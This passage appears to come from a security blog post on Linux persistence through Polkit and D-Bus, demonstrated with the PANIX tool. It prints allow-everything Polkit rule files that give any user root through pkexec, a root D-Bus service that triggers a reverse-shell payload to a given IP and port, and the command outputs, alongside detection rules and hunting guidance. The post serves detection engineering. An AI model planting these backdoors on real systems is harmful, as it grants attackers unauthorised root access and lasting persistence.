required.\"]}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"The configuration files used by Polkit are found in several different locations, depending on the version of Polkit that is present on the system, and the Linux distribution that is active. The main locations you should know about:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"Action definitions:\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"/usr/share/polkit-1/actions/\"})}),`\n`]}),`\n`]}),`\n`,(0,i.jsxs)(e.li,{children:[\"Rule definitions:\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"/etc/polkit-1/rules.d/\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"/usr/share/polkit-1/rules.d/\"})}),`\n`]}),`\n`]}),`\n`,(0,i.jsxs)(e.li,{children:[\"Authorization definitions:\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"/etc/polkit-1/localauthority/\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"/var/lib/polkit-1/localauthority/\"})}),`\n`]}),`\n`]}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"A Polkit \",(0,i.jsx)(e.code,{children:\".rules\"}),\" file defines the logic for granting or denying specific actions. These files provide flexibility in determining whether a user or process can execute an action. Here\\u2019s a simple example:\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`polkit.addRule(function(action, subject) {\n if (action.id == \"org.freedesktop.systemd1.manage-units\" \u0026\u0026\n subject.isInGroup(\"servicemanagers\")) {\n return polkit.Result.YES;\n }\n return polkit.Result.NOT_HANDLED;\n});\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"In this rule:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"The action \",(0,i.jsx)(e.code,{children:\"org.freedesktop.systemd1.manage-units\"}),\" (managing \",(0,i.jsx)(e.code,{children:\"systemd\"}),\" services) is granted to users in the \",(0,i.jsx)(e.code,{children:\"servicemanagers\"}),\" group.\"]}),`\n`,(0,i.jsx)(e.li,{children:\"Other actions fall back to default handling.\"}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"This structure allows administrators to implement custom policies, but it also opens the door for attackers who can insert overly permissive rules to gain unauthorized privileges.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Currently, Polkit does not have a dedicated technique in the MITRE ATT\u0026CK framework. The closest match is \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1543/\",rel:\"nofollow\",children:\"T1543: Create or Modify System Process\"}),\", which describes adversaries modifying system-level processes to achieve persistence or privilege escalation.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"In the next section, we will explore step-by-step how attackers can craft and deploy malicious Polkit rules and authorization files, while also discussing detection and mitigation strategies.\"}),`\n`,(0,i.jsx)(e.h1,{id:\"persistence-through-t1543---create-or-modify-system-process-policykit\",children:\"Persistence through T1543 - Create or Modify System Process: PolicyKit\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Now that we understand the theory, let\\u2019s take a look at how to simulate this in practice through the \",(0,i.jsx)(e.a,{href:\"https://github.com/Aegrah/PANIX/blob/7e27768807e12d11932e2fca5b6a4867308295dd/modules/setup_polkit.sh\",rel:\"nofollow\",children:\"setup_polkit.sh\"}),\" PANIX module. First, the module checks the active Polkit version through the \",(0,i.jsx)(e.code,{children:\"pkaction --version\"}),\" command, as versions \u003c 0.106 use the older \",(0,i.jsx)(e.code,{children:\".pkla\"}),\" files, while newer versions (\u003e= 0.106) use the more recent \",(0,i.jsx)(e.code,{children:\".rules\"}),\" files. Depending on the version, the module will continue to create the Polkit policy that is overly permissive. For versions \u003c 0.106 a \",(0,i.jsx)(e.code,{children:\".pkla\"}),\" file is created in \",(0,i.jsx)(e.code,{children:\"/etc/polkit-1/localauthority/50-local.d/\"}),\":\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`mkdir -p /etc/polkit-1/localauthority/50-local.d/\n\n# Write the .pkla file\ncat \u003c\u003c-EOF \u003e /etc/polkit-1/localauthority/50-local.d/panix.pkla\n[Allow Everything]\nIdentity=unix-user:*\nAction=*\nResultAny=yes\nResultInactive=yes\nResultActive=yes\nEOF\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Allowing any \",(0,i.jsx)(e.code,{children:\"unix-user\"}),\" to do any action through the \",(0,i.jsx)(e.code,{children:\"Identity=unix-user:*\"}),\" and \",(0,i.jsx)(e.code,{children:\"Action=*\"}),\" parameters.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"For versions \u003e= 0.106 a \",(0,i.jsx)(e.code,{children:\".rules\"}),\" file is created in \",(0,i.jsx)(e.code,{children:\"/etc/polkit-1/rules.d/\"}),\":\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`mkdir -p /etc/polkit-1/rules.d/\n\n# Write the .rules file\ncat \u003c\u003c-EOF \u003e /etc/polkit-1/rules.d/99-panix.rules\npolkit.addRule(function(action, subject) {\n\treturn polkit.Result.YES;\n});\nEOF\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Where an overly permissive policy always returns \",(0,i.jsx)(e.code,{children:\"polkit.Result.YES\"}),\", which means that any action that requires Polkit\\u2019s authentication will be allowed by anyone.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Polkit rules are processed in lexicographic (ASCII) order, meaning files with lower numbers load first, and later rules can override earlier ones. If two rules modify the same policy, the rule with the higher number takes precedence because it is evaluated last. To ensure the rule is executed and overrides others, PANIX creates it with a filename starting with 99 (e.g. \",(0,i.jsx)(e.code,{children:\"99-panix.rules\"}),\").\"]}),`\n`,(0,i.jsx)(e.p,{children:\"Let\\u2019s run the PANIX module with the following command line arguments:\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`\u003e sudo ./panix.sh --polkit\n\n[!] Polkit version \u003c 0.106 detected. Setting up persistence using .pkla files.\n[+] Persistence established via .pkla file.\n[+] Polkit service restarted.\n[!] Run pkexec su - to test the persistence.\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"And take a look at the logs in Kibana:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/the-grand-finale-on-linux-persistence/image2.png\",alt:\"PANIX Polkit module execution visualized in Kibana\",width:\"1765\",height:\"705\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Upon execution of PANIX, we can see the \",(0,i.jsx)(e.code,{children:\"pkaction --version\"}),\" command being issued to determine whether a \",(0,i.jsx)(e.code,{children:\".pkla\"}),\" or \",(0,i.jsx)(e.code,{children:\".rules\"}),\" file approach is needed. After figuring this out, the correct policy is created, and the \",(0,i.jsx)(e.code,{children:\"polkit\"}),\" service is restarted (this is not always necessary however). Once these policies are in place, a user with a \",(0,i.jsx)(e.code,{children:\"user.Ext.real.id\"}),\" of \",(0,i.jsx)(e.code,{children:\"1000\"}),\" (not-root) is capable of obtaining root privileges by executing the \",(0,i.jsx)(e.code,{children:\"pkexec su -\"}),\" command.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"Let\\u2019s take a look at our detection opportunities:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.em,{children:\"Detection and endpoint rules that cover Polkit persistence\"})}),`\n`,(0,i.jsx)(e.div,{className:\"table-container\",children:(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{align:\"left\",children:\"Category\"}),(0,i.jsx)(e.th,{align:\"left\",children:\"Coverage\"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{align:\"left\",children:\"File\"}),(0,i.jsx)(e.td,{align:\"left\",children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/cf183579b46dae3ebd294098b330341a98691fd0/rules/linux/persistence_polkit_policy_creation.toml\",rel:\"nofollow\",children:\"Polkit Policy Creation\"})})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{align:\"left\"}),(0,i.jsx)(e.td,{align:\"left\",children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/integrations/fim/persistence_suspicious_file_modifications.toml\",rel:\"nofollow\",children:\"Potential Persistence via File Modification\"})})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{align:\"left\",children:\"Process\"}),(0,i.jsx)(e.td,{align:\"left\",children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/cf183579b46dae3ebd294098b330341a98691fd0/rules/linux/discovery_polkit_version_discovery.toml\",rel:\"nofollow\",children:\"Polkit Version Discovery\"})})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{align:\"left\"}),(0,i.jsx)(e.td,{align:\"left\",children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/cf183579b46dae3ebd294098b330341a98691fd0/rules/linux/execution_unusual_pkexec_execution.toml\",rel:\"nofollow\",children:\"Unusual Pkexec Execution\"})})]})]})]})}),`\n`,(0,i.jsx)(e.p,{children:\"To revert any changes, you can use the corresponding revert module by running:\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`\u003e ./panix.sh --revert polkit\n\n[+] Checking for .pkla persistence file...\n[+] Removed file: /etc/polkit-1/localauthority/50-local.d/panix.pkla\n[+] Checking for .rules persistence file...\n[-] .rules file not found: /etc/polkit-1/rules.d/99-panix.rules\n[+] Restarting polkit service...\n[+] Polkit service restarted successfully.\n`})}),`\n`,(0,i.jsx)(e.h1,{id:\"hunting-for-t1543---create-or-modify-system-process-policykit\",children:\"Hunting for T1543 - Create or Modify System Process: PolicyKit\"}),`\n`,(0,i.jsx)(e.p,{children:\"We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to the modification of PolicyKit configuration files and rules. The approach includes hunting for the following:\"}),`\n`,(0,i.jsxs)(e.ol,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Creations and/or Modifications to PolicyKit Configuration Files\"}),\": Tracks changes in critical directories containing custom and system-wide rules, action descriptions and authorizations rules. Monitoring these paths helps identify unauthorized additions or tampering that could indicate malicious activity.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Metadata Analysis of PolicyKit Files\"}),\": Inspects file ownership, access times, and modification timestamps for PolicyKit-related files. Unauthorized changes or files with unexpected ownership can indicate an attempt to persist or escalate privileges through PolicyKit.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Detection of Rare or Anomalous Events\"}),\": Identifies uncommon file modification or creation events by analyzing process execution and correlation with file activity. This helps surface subtle indicators of compromise.\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"By combining the \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_via_policykit.toml\",rel:\"nofollow\",children:\"Persistence via PolicyKit\"}),\" hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1543/\",rel:\"nofollow\",children:\"T1543\"}),\".\"]}),`\n`,(0,i.jsx)(e.h1,{id:\"t1543---create-or-modify-system-process-d-bus\",children:\"T1543 - Create or Modify System Process: D-Bus\"}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.a,{href:\"https://linux.die.net/man/1/dbus-daemon\",rel:\"nofollow\",children:\"D-Bus (Desktop Bus)\"}),\" is an \",(0,i.jsx)(e.a,{href:\"https://www.geeksforgeeks.org/inter-process-communication-ipc/\",rel:\"nofollow\",children:\"inter-process communication (IPC)\"}),\" system widely used in Linux and other Unix-like operating systems. It serves as a structured message bus, enabling processes, system services, and applications to communicate and coordinate actions. As a cornerstone of modern Linux environments, D-Bus provides the framework for both system-wide and user-specific communication.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"At its core, D-Bus facilitates interaction between processes by providing a standardized mechanism for sending and receiving messages, eliminating the need for custom IPC solutions while improving efficiency and security. It operates through two primary communication channels:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"System Bus\"}),\": Used for communication between system-level services and privileged operations, such as managing hardware or network configuration.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Session Bus\"}),\": Used for communication between user-level applications, such as desktop notifications or media players.\"]}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"A D-Bus daemon manages the message bus, ensuring messages are routed securely between processes. Processes register themselves on the bus with unique names and provide interfaces containing methods, signals, and properties for other processes to interact with. The core components of D-Bus communication looks as follows:\"}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:\"Interfaces\"}),\":\"]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Define a collection of methods, signals, and properties a service offers.\"}),`\n`,(0,i.jsxs)(e.li,{children:[\"Example: \",(0,i.jsx)(e.a,{href:\"https://networkmanager.dev/docs/api/latest/gdbus-org.freedesktop.NetworkManager.html\",rel:\"nofollow\",children:(0,i.jsx)(e.code,{children:\"org.freedesktop.NetworkManager\"})}),\" provides methods to manage network connections.\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:\"Methods\"}),\":\"]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Allow external processes to invoke specific actions or request information.\"}),`\n`,(0,i.jsxs)(e.li,{children:[\"Example: The method \",(0,i.jsx)(e.code,{children:\"org.freedesktop.NetworkManager.Reload\"}),\" can be called to reload a network service.\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:\"Signals\"}),\":\"]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Notifications sent by a service to inform other processes about events.\"}),`\n`,(0,i.jsx)(e.li,{children:\"Example: A signal might indicate a network connection status change.\"}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"As an example, the following command sends a message to the system bus to invoke the \",(0,i.jsx)(e.code,{children:\"Reload\"}),\" method on the \",(0,i.jsx)(e.code,{children:\"NetworkManager\"}),\" service:\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`dbus-send --system --dest=org.freedesktop.NetworkManager /org/freedesktop/NetworkManager org.freedesktop.NetworkManager.Reload uint32:0\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"D-Bus services are applications or daemons that register themselves on the bus to provide functionality. If a requested service is not running, the D-Bus daemon can start it automatically using predefined service files.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"These services use service files with a \",(0,i.jsx)(e.code,{children:\".service\"}),\" extension to tell D-Bus how to start a service. For example:\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`[D-BUS Service]\nName=org.freedesktop.MyService\nExec=/usr/bin/my-service\nUser=root\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"D-Bus service files can be located in several different locations, depending on whether these services are running system-wide or at the user-level, and depending on the architecture and Linux distribution. The following is an overview of locations that are used, which is not an exhaustive list, as different distributions use different default locations:\"}),`\n`,(0,i.jsxs)(e.ol,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"System-wide Configuration and Services\"}),\":\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"System service files:\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"/usr/share/dbus-1/system-services/\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"/usr/local/share/dbus-1/system-services/\"})}),`\n`]}),`\n`]}),`\n`,(0,i.jsxs)(e.li,{children:[\"System policy files:\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"/etc/dbus-1/system.d/\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"/usr/share/dbus-1/system.d/\"})}),`\n`]}),`\n`]}),`\n`,(0,i.jsxs)(e.li,{children:[\"System configuration files:\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"/etc/dbus-1/system.conf\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"/usr/share/dbus-1/system.conf\"})}),`\n`]}),`\n`]}),`\n`]}),`\n`]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Session-wide Configuration and Services\"}),\":\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"Session service files:\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"/usr/share/dbus-1/session-services/\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"~/.local/share/dbus-1/services/\"})}),`\n`]}),`\n`]}),`\n`,(0,i.jsxs)(e.li,{children:[\"Session policy files:\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"/etc/dbus-1/session.d/\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"/usr/share/dbus-1/session.d/\"})}),`\n`]}),`\n`]}),`\n`,(0,i.jsxs)(e.li,{children:[\"Session configuration files:\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"/etc/dbus-1/session.conf\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"/usr/share/dbus-1/session.conf\"})}),`\n`]}),`\n`]}),`\n`]}),`\n`]}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"More details on each path is available \",(0,i.jsx)(e.a,{href:\"https://dbus.freedesktop.org/doc/dbus-daemon.1.html\",rel:\"nofollow\",children:\"here\"}),\". D-Bus policies, written in XML, define access control rules for D-Bus services. These policies specify who can perform actions such as sending messages, receiving responses, or owning specific services. They are essential for controlling access to privileged operations and ensuring that services are not misused. There are several key components to a D-Bus policy:\"]}),`\n`,(0,i.jsxs)(e.ol,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Context\"}),\":\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"Policies can apply to specific users, groups, or a default context (\",(0,i.jsx)(e.code,{children:\"default\"}),\" applies to all users unless overridden).\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.ol,{start:\"2\",children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Allow/Deny Rules\"}),\":\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"Rules explicitly grant (\",(0,i.jsx)(e.code,{children:\"allow\"}),\") or restrict (\",(0,i.jsx)(e.code,{children:\"deny\"}),\") access to methods, interfaces, or services.\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.ol,{start:\"3\",children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Granularity\"}),\":\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"Policies can control access at multiple levels:\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"Entire services (e.g., \",(0,i.jsx)(e.code,{children:\"org.freedesktop.MyService\"}),\").\"]}),`\n`,(0,i.jsxs)(e.li,{children:[\"Specific methods or interfaces (e.g., \",(0,i.jsx)(e.code,{children:\"org.freedesktop.MyService.SecretMethod\"}),\").\"]}),`\n`]}),`\n`]}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"The following example demonstrates a D-Bus policy that enforces clear access restrictions:\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`\u003c!DOCTYPE busconfig PUBLIC \"-//freedesktop//DTD D-Bus Bus Configuration 1.0//EN\"\n \"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd\"\u003e\n\u003cbusconfig\u003e\n \u003c!-- Default policy: Deny all access --\u003e\n \u003cpolicy context=\"default\"\u003e\n \u003cdeny send_destination=\"org.freedesktop.MyService\"/\u003e\n \u003c/policy\u003e\n\n \u003c!-- Allow only users in the \"admin\" group to access specific methods --\u003e\n \u003cpolicy group=\"admin\"\u003e\n \u003callow send_interface=\"org.freedesktop.MyService.PublicMethod\"/\u003e\n \u003c/policy\u003e\n\n \u003c!-- Allow root to access all methods --\u003e\n \u003cpolicy user=\"root\"\u003e\n \u003callow send_destination=\"org.freedesktop.MyService\"/\u003e\n \u003c/policy\u003e\n\u003c/busconfig\u003e\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"This policy:\"}),`\n`,(0,i.jsxs)(e.ol,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"Denies all access to the service \",(0,i.jsx)(e.code,{children:\"org.freedesktop.MyService\"}),\" by default.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[\"Grants users in the \",(0,i.jsx)(e.code,{children:\"admin\"}),\" group access to a specific interface (\",(0,i.jsx)(e.code,{children:\"org.freedesktop.MyService.PublicMethod\"}),\").\"]}),`\n`,(0,i.jsxs)(e.li,{children:[\"Grants full access to the \",(0,i.jsx)(e.code,{children:\"org.freedesktop.MyService\"}),\" destination for the \",(0,i.jsx)(e.code,{children:\"root\"}),\" user.\"]}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"D-Bus\\u2019s central role in IPC makes it a potential interesting target for attackers. Potential attack vectors include:\"}),`\n`,(0,i.jsxs)(e.ol,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Hijacking or Registering Malicious Services\"}),\":\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"Attackers can replace or add \",(0,i.jsx)(e.code,{children:\".service\"}),\" files in e.g. \",(0,i.jsx)(e.code,{children:\"/usr/share/dbus-1/system-services/\"}),\" to hijack legitimate communication or inject malicious code.\"]}),`\n`]}),`\n`]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Creating or Exploiting Over-permissive Policies\"}),\":\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Weak policies (e.g., granting all users access to critical services) can allow attackers to invoke privileged methods.\"}),`\n`]}),`\n`]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Abusing Vulnerable Services\"}),\":\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"If a D-Bus service improperly validates input, attackers may execute arbitrary code or perform unauthorized actions.\"}),`\n`]}),`\n`]}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"The examples above can be used for privilege escalation, defense evasion and persistence. Currently, there is no specific MITRE ATT\u0026CK sub-technique for D-Bus. However, its abuse aligns closely with \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1543/\",rel:\"nofollow\",children:\"T1543: Create or Modify System Process\"}),\", as well as \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1574/\",rel:\"nofollow\",children:\"T1574: Hijack Execution Flow\"}),\" for cases where \",(0,i.jsx)(e.code,{children:\".service\"}),\" files are modified.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"In the next section we will take a look at how an attacker can set up overly permissive D-Bus configurations that send out reverse connections with root permissions, while discussing approaches to detecting this behavior.\"}),`\n`,(0,i.jsx)(e.h1,{id:\"persistence-through-t1543---create-or-modify-system-process-d-bus\",children:\"Persistence through T1543 - Create or Modify System Process: D-Bus\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Now that we've learnt all about D-Bus setup, it\\u2019s time to take a look at how to simulate this in practice through the \",(0,i.jsx)(e.a,{href:\"https://github.com/Aegrah/PANIX/blob/7e27768807e12d11932e2fca5b6a4867308295dd/modules/setup_dbus.sh\",rel:\"nofollow\",children:\"setup_dbus.sh\"}),\" PANIX module. PANIX starts off by creating a D-Bus service file at \",(0,i.jsx)(e.code,{children:\"/usr/share/dbus-1/system-services/org.panix.persistence.service\"}),\" with the following contents:\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`cat \u003c\u003c'EOF' \u003e \"$service_file\"\n[D-BUS Service]\nName=org.panix.persistence\nExec=/usr/local/bin/dbus-panix.sh\nUser=root\nEOF\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[\"This service file will listen on the \",(0,i.jsx)(e.code,{children:\"org.panix.persistence\"}),\" interface, and execute the \",(0,i.jsx)(e.code,{children:\"/usr/local/bin/dbus-panix.sh\"}),\" \\u201Cservice\\u201D. The \",(0,i.jsx)(e.code,{children:\"dbus-panix.sh\"}),\" script simply invokes a reverse shell connection when called:\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`cat \u003c\u003cEOF \u003e \"$payload_script\"\n#!/bin/bash\n# When D-Bus triggers this service, execute payload.\n\\${payload}\nEOF\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[\"To ensure any user is allowed to invoke the actions corresponding to the interface, PANIX sets up a \",(0,i.jsx)(e.code,{children:\"/etc/dbus-1/system.d/org.panix.persistence.conf\"}),\" file with the following contents:\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`cat \u003c\u003c'EOF' \u003e \"$conf_file\"\n\u003c!DOCTYPE busconfig PUBLIC \"-//freedesktop//DTD D-Bus Bus Configuration 1.0//EN\"\n\t\"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd\"\u003e\n\u003cbusconfig\u003e\n\t\u003c!-- Allow any user to own, send to, and access the specified service --\u003e\n\t\u003cpolicy context=\"default\"\u003e\n\t\t\u003callow own=\"org.panix.persistence\"/\u003e\n\t\t\u003callow send_destination=\"org.panix.persistence\"/\u003e\n\t\t\u003callow send_interface=\"org.panix.persistence\"/\u003e\n\t\u003c/policy\u003e\n\u003c/busconfig\u003e\nEOF\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[\"This configuration defines a D-Bus policy that permits any user or process to own, send messages to, and interact with the \",(0,i.jsx)(e.code,{children:\"org.panix.persistence\"}),\" service, effectively granting unrestricted access to it. After restarting the \",(0,i.jsx)(e.code,{children:\"dbus\"}),\" service, the setup is complete.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"To interact with the service, the following command can be used:\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`dbus-send --system --type=method_call /\n--dest=org.panix.persistence /org/panix/persistence /\norg.panix.persistence.Method\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[\"This command sends a method call to the D-Bus system bus, targeting the \",(0,i.jsx)(e.code,{children:\"org.panix.persistence\"}),\" service, invoking the \",(0,i.jsx)(e.code,{children:\"org.panix.persistence.Method\"}),\" method on the \",(0,i.jsx)(e.code,{children:\"/org/panix/persistence\"}),\" object, effectively triggering the backdoor.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"Let\\u2019s run the PANIX module with the following command line arguments:\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`\u003e sudo ./panix.sh --dbus --default --ip 192.168.1.100 --port 2016\n\n[+] Created/updated D-Bus service file: /usr/share/dbus-1/system-services/org.panix.persistence.service\n[+] Created/updated payload script: /usr/local/bin/dbus-panix.sh\n[+] Created/updated D-Bus config file: /etc/dbus-1/system.d/org.panix.persistence.conf\n[!] Restarting D-Bus...\n[+] D-Bus restarted successfully.\n[+] D-Bus persistence module completed. Test with:\n\ndbus-send --system --type=method_call --print-reply /\n--dest=org.panix.persistence /org/panix/persistence /\norg.panix.persistence.Method\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Upon execution of the \",(0,i.jsx)(e.code,{children:\"dbus-send\"}),\" command:\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`dbus-send --system --type=method_call --print-reply /\n--dest=org.panix.persistence /org/panix/persistence /\norg.panix.persistence.Method\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"We will take a look at the documents in Kibana:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/the-grand-finale-on-linux-persistence/image4.png\",alt:\"PANIX D-Bus module execution visualized in Kibana\",width:\"1600\",height:\"1420\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Upon PANIX execution, the 